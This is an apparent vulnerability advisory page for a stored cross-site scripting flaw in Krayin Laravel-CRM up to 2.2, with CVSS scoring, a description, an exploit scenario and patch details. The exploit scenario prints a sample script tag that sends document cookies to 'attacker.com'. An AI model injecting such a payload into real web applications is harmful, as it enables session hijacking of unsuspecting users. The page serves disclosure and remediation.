Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
7DescriptionCVE.org
A vulnerability was identified in krayin laravel-crm up to 2.2. Impacted is the function composeMail of the file packages/Webkul/Admin/tests/e2e-pw/tests/mail/inbox.spec.ts of the component Activities Module/Notes Module. The manipulation leads to cross site scripting. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The identifier of the patch is 73ed28d466bf14787fdb86a120c656a4af270153. To fix this issue, it is recommended to deploy a patch.
AnalysisAI
Stored cross-site scripting (XSS) in Krayin Laravel-CRM up to version 2.2 allows authenticated users with low privileges to inject malicious scripts via the composeMail function in the Activities/Notes Module, which are then executed when other users view the content. The vulnerability requires user interaction (UI:P) but has confirmed publicly available exploit code and a vendor-released patch (commit 73ed28d466bf14787fdb86a120c656a4af270153), making it a moderate priority for deployments where multiple users interact with notes and mail features.
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Vulnerability AssessmentAI
| Risk Assessment | The CVSS score of 5.1 (medium) is appropriately calibrated given the authentication requirement, user interaction dependency, and limited impact scope (integrity only, no confidentiality or availability effects). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated user with low-level CRM access (e.g., sales representative) crafts a mail message or note containing embedded JavaScript (e.g., <script>fetch('attacker.com/steal?cookie='+document.cookie)</script>) via the composeMail function. When a colleague or manager views that message or note through the Activities/Notes Module UI, the script executes in their browser context, potentially stealing session cookies, redirecting them to a phishing page, or modifying displayed CRM data. … |
| Remediation | Apply the vendor-released patch from commit 73ed28d466bf14787fdb86a120c656a4af270153 via GitHub pull request 2466. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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EUVD-2026-18484